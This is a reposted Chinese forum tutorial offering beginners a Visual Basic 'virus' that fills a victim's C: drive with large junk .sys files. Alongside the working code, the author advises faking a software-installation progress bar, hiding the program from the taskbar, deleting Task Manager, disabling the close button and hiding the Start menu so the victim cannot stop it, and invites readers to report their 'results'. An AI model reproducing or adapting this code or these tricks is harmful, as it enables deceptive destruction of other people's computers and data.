发新话题
打印

[转载]VB写的病毒,塞满硬盘的东西!菜鸟一学就会!

[转载]VB写的病毒,塞满硬盘的东西!菜鸟一学就会!

文章作者:泷儿
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

教学:VB写的病毒,塞满硬盘的东西!菜鸟一学就会!
Private Sub Form_Load()
On Error Resume Next
For i= 1 To 100   \'(这个100为写入文件的个数,就是向C盘下写100个文件,自己改)
   Open "c:\\20cn" + CStr(i) + ".sys" For Random As 1
  \'(在C盘下产生文件 类似 "20cnx.sys" x为数字)
DoEvents

Put #1, 30000, "20cn.net"

   \'这里的这个30000是控制生成文件大小的。
   \'30000产生的文件大小是3.6M左右
   \'10000产生的文件大小是1.2M左右
   \'如果你改为3000000的话,那就是360M,但是写的慢,所以建议50MB就可以了!

Close #1   \'关闭打开的文件句柄
Next
End Sub

顺便加个进度条,骗他说软件正在安装,请捎后!哈哈!他的硬盘就暴了!

如果是98下的用户,可以加上
App.TaskVisible=false
这样他在任务栏里看不见!哈哈!
如果是2000下的,请在代码加上删除X:\\winnt\\taskmgr.exe的代码,这个比较简单,我就不写出来!
这样软件在执行的时候不能快速结速掉,保证了病毒的顺利执行!
当然要把软件上的 口X— 给屏蔽掉,哈哈!顺便把“开始”给隐藏,让他不能很快关机!这个代码网上找,我也不写了!

大家去实验一下,先用自己的机器,当然,写入的数量和大小自己控制!
记得汇报战绩啊!
爱我所爱 无愿无悔

TOP

发新话题